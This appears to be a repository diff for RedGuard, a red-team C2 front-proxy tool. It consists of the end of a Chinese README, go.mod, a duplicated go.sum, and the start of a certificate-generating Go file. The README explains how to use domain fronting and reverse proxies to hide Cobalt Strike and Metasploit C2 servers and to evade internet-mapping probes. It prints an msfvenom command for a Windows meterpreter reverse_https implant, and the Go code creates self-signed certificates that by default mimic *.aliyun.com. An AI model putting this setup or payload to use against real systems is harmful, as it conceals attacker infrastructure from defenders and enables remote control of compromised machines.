下图所示的流量也就是当拦截规则设置为Redirect时,我们会发现当测绘探针收到响应后会继续对我们进行目录扫描,UserAgent为随机,看起来符合正常流量的请求,但是也都成功被拦截了。
|
||||
|
||||

|
||||
|
||||
**测绘平台 - 劫持响应拦截方式效果:**
|
||||
|
||||

|
||||
|
||||
**测绘平台 - 重定向拦截方式效果:**
|
||||
|
||||

|
||||
|
||||
## 域前置
|
||||
|
||||
RedGuard是支持域前置的,在我看来一共有两种展现形式,一种是利用传统的域前置方式,在全站加速回源地址中设置为我们反向代理的端口即可实现。在原有的基础上给域前置增加了流量控制的功能,并且可以根据我们设置的重定向到指定URL使其看起来更像是真的。需要注意HTTPS HOST头RedGuard设置的要与全站加速的域名一致才可以。
|
||||
|
||||

|
||||
|
||||
在单兵作战中,我建议可以使用上述方式,而在团队任务中,也可以通过自建“域前置”的方式来实现。
|
||||
|
||||

|
||||
|
||||
在自建域前置中,保持多个反向代理端口一致,HOST头一致指向后端真实的C2服务器监听端口。而这种方式,可以很好的隐藏我们的真实C2服务器,而反向代理的服务器可以通过配置防火墙仅开放代理端口即可。
|
||||
|
||||

|
||||
|
||||
这里可以通过多个节点服务器实现,在CS监听器HTTPS上线IP配置多个我们的节点IP。
|
||||
|
||||
## CobaltStrike上线
|
||||
|
||||
如果说上面的这种方式有一个问题就是,实际上线的C2服务器是不能通过防火墙直接拦截掉的,因为在反向代理中实际进行负载均衡请求的是云服务器厂商IP进行的。
|
||||
|
||||
如果是单兵作战的话,我们可以在云服务器防火墙设置拦截策略。
|
||||
|
||||

|
||||
|
||||
然后把代理指向的地址设置为https://127.0.0.1:4433这种即可。
|
||||
|
||||
```bash
|
||||
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
```
|
||||
|
||||
而且因为我们的基础验证就是基于HTTP HOST请求头来做的,所以在HTTP流量中看到的也是与域前置的方式一致,但是成本更低,只需要一台云服务器即可实现。
|
||||
|
||||

|
||||
|
||||
对于监听器的设置上线端口设置为RedGuard反向代理端口,监听端口为本机实际上线端口。
|
||||
|
||||
## Metasploit上线
|
||||
|
||||
**生成木马**
|
||||
|
||||
```bash
|
||||
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
|
||||
-f exe -o ~/path/to/payload.exe
|
||||
```
|
||||
|
||||
当然作为域前置场景也可以把你的LHOST配置为任意使用该厂商CDN的域名,注意设置HttpHostHeader与RedGuard相符即可。
|
||||
|
||||
```bash
|
||||
setg OverrideLHOST 360.com
|
||||
setg OverrideLPORT 443
|
||||
setg OverrideRequestHost true
|
||||
```
|
||||
|
||||
请务必注意,该`OverrideRequestHost`设置必须设置为`true`。这是由于 Metasploit 在为暂存有效负载生成配置时默认处理传入 HTTP/S 请求的方式的一个怪癖。默认情况下,Metasploit 将传入请求的`Host`标头值(如果存在)用于第二阶段配置,而不是`LHOST`参数。因此,将生成阶段配置,以便将请求直接发送到您的隐藏域名,因为 CloudFront 在转发请求的`Host`标头中传递您的内部域。这显然不是我们所要求的。使用`OverrideRequestHost`配置值,我们可以强制 Metasploit 忽略传入`Host`的标头,而是使用`LHOST`指向原始 CloudFront 域的配置值。
|
||||
|
||||
监听器设置为实际上线端口,与RedGuard实际转发到的地址相匹配。
|
||||
|
||||

|
||||
|
||||
RedGuard接收到请求:
|
||||
|
||||

|
||||
|
||||
# 0x05 Loading
|
||||
|
||||
感谢各位用户的支持,RedGuard也会坚持进行完善更新的,希望 RedGuard 能够让更多安全从业者所知,工具参考了RedWarden的设计思想。
|
||||
|
||||
**欢迎大家多多提出需求,RedGuard也会在这些需求中不断地成长,完善!**
|
||||
|
||||
**关于开发者 风起 相关文章:https://www.anquanke.com/member.html?memberId=148652**
|
||||
|
||||
**Kunyu: https://github.com/knownsec/Kunyu**
|
||||
|
||||
> 风起于青萍之末,浪成于微澜之间。
|
||||
|
||||
|
||||
# 0x06 Community
|
||||
|
||||
如果有问题或者需求可以在项目下提交issue,或通过添加WeCat联系工具作者。
|
||||
|
||||

|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
module RedGuard
|
||||
|
||||
go 1.15
|
||||
|
||||
require (
|
||||
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
|
||||
github.com/go-ini/ini v1.66.4
|
||||
github.com/go-resty/resty/v2 v2.7.0
|
||||
github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea
|
||||
github.com/sleeyax/ja3rp v0.0.1
|
||||
github.com/stretchr/testify v1.7.1 // indirect
|
||||
github.com/tidwall/gjson v1.14.1
|
||||
github.com/wxnacy/wgo v1.0.4
|
||||
)
|
||||
|
||||
replace github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea => github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec
|
||||
module RedGuard
|
||||
|
||||
go 1.15
|
||||
|
||||
require (
|
||||
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
|
||||
github.com/go-ini/ini v1.66.4
|
||||
github.com/go-resty/resty/v2 v2.7.0
|
||||
github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea
|
||||
github.com/sleeyax/ja3rp v0.0.1
|
||||
github.com/stretchr/testify v1.7.1 // indirect
|
||||
github.com/tidwall/gjson v1.14.1
|
||||
github.com/wxnacy/wgo v1.0.4
|
||||
)
|
||||
|
||||
replace github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea => github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec
|
||||
|
||||
@@ -1,69 +1,69 @@
|
||||
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0 h1:J2/ncp0Jfq6GAws9YNvL0DxG+DnmPxIJkZ0u01y14uY=
|
||||
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0/go.mod h1:FTxb8RmunucvVgT4QCa0SM1AKYkqIsVH+Z5+zkuHWU4=
|
||||
github.com/alecthomas/kong v0.3.0/go.mod h1:uzxf/HUh0tj43x1AyJROl3JT7SgsZ5m+icOv1csRhc0=
|
||||
github.com/alecthomas/participle/v2 v2.0.0-alpha7 h1:cK4vjj0VSgb3lN1nuKA5F7dw+1s1pWBe5bx7nNCnN+c=
|
||||
github.com/alecthomas/participle/v2 v2.0.0-alpha7/go.mod h1:NumScqsC42o9x+dGj8/YqsIfhrIQjFEOFovxotbBirA=
|
||||
github.com/alecthomas/repr v0.0.0-20181024024818-d37bc2a10ba1/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
|
||||
github.com/alecthomas/repr v0.0.0-20210801044451-80ca428c5142/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
|
||||
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae h1:zzGwJfFlFGD94CyyYwCJeSuD32Gj9GTaSi5y9hoVzdY=
|
||||
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ=
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/go-ini/ini v1.66.4 h1:dKjMqkcbkzfddhIhyglTPgMoJnkvmG+bSLrU9cTHc5M=
|
||||
github.com/go-ini/ini v1.66.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
|
||||
github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY=
|
||||
github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I=
|
||||
github.com/mailru/easyjson v0.7.0 h1:aizVhC/NAAcKWb+5QsU1iNOZb4Yws5UO2I+aIprQITM=
|
||||
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
|
||||
github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sleeyax/ja3rp v0.0.1 h1:axAQaWfz+YWTrE0kGAHNJXj730cLFV6ZRASPkR//76U=
|
||||
github.com/sleeyax/ja3rp v0.0.1/go.mod h1:LoKchsq6bTZIEeHoiSIARqr9TerxxOAM7OHk67Rz9oY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/tidwall/gjson v1.14.1 h1:iymTbGkQBhveq21bEvAQ81I0LEBork8BFe1CUZXdyuo=
|
||||
github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
||||
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
|
||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec h1:soPPf+s+iq4J5qFk0KziWKA6jO29bxonQe1yqNQkeic=
|
||||
github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec/go.mod h1:WBIWFH/iYYvuApCvPU+/R6hfX6v0Ogu4apwf0UgzVF0=
|
||||
github.com/wxnacy/wgo v1.0.4 h1:UEkzjlW3pMAXcTUCgMekrCvFYLKKwc0p5GAQrMIphs8=
|
||||
github.com/wxnacy/wgo v1.0.4/go.mod h1:8hqUwCgvMGgAIr4MLIeFur2YXS/Ns3vbyx5abx0e8iM=
|
||||
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871 h1:/pEO3GD/ABYAjuakUS6xSEmmlyVS4kxBNkeA9tLJiTI=
|
||||
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9 h1:0qxwC5n+ttVOINCBeRHO0nq9X7uy8SDsPoi5OaCdIEI=
|
||||
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0 h1:J2/ncp0Jfq6GAws9YNvL0DxG+DnmPxIJkZ0u01y14uY=
|
||||
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0/go.mod h1:FTxb8RmunucvVgT4QCa0SM1AKYkqIsVH+Z5+zkuHWU4=
|
||||
github.com/alecthomas/kong v0.3.0/go.mod h1:uzxf/HUh0tj43x1AyJROl3JT7SgsZ5m+icOv1csRhc0=
|
||||
github.com/alecthomas/participle/v2 v2.0.0-alpha7 h1:cK4vjj0VSgb3lN1nuKA5F7dw+1s1pWBe5bx7nNCnN+c=
|
||||
github.com/alecthomas/participle/v2 v2.0.0-alpha7/go.mod h1:NumScqsC42o9x+dGj8/YqsIfhrIQjFEOFovxotbBirA=
|
||||
github.com/alecthomas/repr v0.0.0-20181024024818-d37bc2a10ba1/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
|
||||
github.com/alecthomas/repr v0.0.0-20210801044451-80ca428c5142/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
|
||||
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae h1:zzGwJfFlFGD94CyyYwCJeSuD32Gj9GTaSi5y9hoVzdY=
|
||||
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ=
|
||||
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/go-ini/ini v1.66.4 h1:dKjMqkcbkzfddhIhyglTPgMoJnkvmG+bSLrU9cTHc5M=
|
||||
github.com/go-ini/ini v1.66.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
|
||||
github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY=
|
||||
github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I=
|
||||
github.com/mailru/easyjson v0.7.0 h1:aizVhC/NAAcKWb+5QsU1iNOZb4Yws5UO2I+aIprQITM=
|
||||
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
|
||||
github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sleeyax/ja3rp v0.0.1 h1:axAQaWfz+YWTrE0kGAHNJXj730cLFV6ZRASPkR//76U=
|
||||
github.com/sleeyax/ja3rp v0.0.1/go.mod h1:LoKchsq6bTZIEeHoiSIARqr9TerxxOAM7OHk67Rz9oY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/tidwall/gjson v1.14.1 h1:iymTbGkQBhveq21bEvAQ81I0LEBork8BFe1CUZXdyuo=
|
||||
github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
||||
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
|
||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec h1:soPPf+s+iq4J5qFk0KziWKA6jO29bxonQe1yqNQkeic=
|
||||
github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec/go.mod h1:WBIWFH/iYYvuApCvPU+/R6hfX6v0Ogu4apwf0UgzVF0=
|
||||
github.com/wxnacy/wgo v1.0.4 h1:UEkzjlW3pMAXcTUCgMekrCvFYLKKwc0p5GAQrMIphs8=
|
||||
github.com/wxnacy/wgo v1.0.4/go.mod h1:8hqUwCgvMGgAIr4MLIeFur2YXS/Ns3vbyx5abx0e8iM=
|
||||
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871 h1:/pEO3GD/ABYAjuakUS6xSEmmlyVS4kxBNkeA9tLJiTI=
|
||||
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9 h1:0qxwC5n+ttVOINCBeRHO0nq9X7uy8SDsPoi5OaCdIEI=
|
||||
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
+113
-113
@@ -1,113 +1,113 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: CreateSSL.go
|
||||
* @Time: 2022/5/8 12:51
|
||||
**/
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"math/big"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"RedGuard/core/parameter"
|
||||
)
|
||||
|
||||
// GenerateSelfSignedCert Generate a self-signed CA certificate
|
||||
// @param cert *parameter.Cert Certificate Configuration
|
||||
// NOTE: The *.aliyun.com certificate is used by default.
|
||||
// You can customize the certificate information by initializing the configuration file
|
||||
// By default, the certificate is stored in the cert-RSA directory in the tool directory
|
||||
func GenerateSelfSignedCert(cert *parameter.Cert) {
|
||||
priv, err := rsa.GenerateKey(rand.Reader, 2048) // Generating a key pair
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
// Creating a Certificate Template
|
||||
template := x509.Certificate{
|
||||
SerialNumber: big.NewInt(time.Now().UnixNano()), // CA Certificate Serial number
|
||||
// Issuer information, same as consumer information
|
||||
Issuer: pkix.Name{},
|
||||
// Consumer certificate Information
|
||||
Subject: pkix.Name{
|
||||
CommonName: cert.CommonName, // Cert CommonName
|
||||
Locality: []string{cert.Locality}, // Cert Locality
|
||||
Organization: []string{cert.Organization}, // Cert Organization
|
||||
Country: []string{cert.Country}, // Cert Country
|
||||
},
|
||||
// Start time of validity
|
||||
NotBefore: time.Now(),
|
||||
NotAfter: time.Now().Add(time.Hour * 24 * 365), // failure time
|
||||
// Indicates that the certificate is used for server authentication
|
||||
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
}
|
||||
// User Optional name
|
||||
template.DNSNames = append(template.DNSNames, cert.DNSName...)
|
||||
// Create a certificate, where the second parameter is the same
|
||||
// the third parameter means that the certificate is self-certificate.
|
||||
// return value is DER encoded certificate
|
||||
certificate, err := x509.CreateCertificate(
|
||||
rand.Reader,
|
||||
&template,
|
||||
&template,
|
||||
&priv.PublicKey,
|
||||
priv,
|
||||
)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
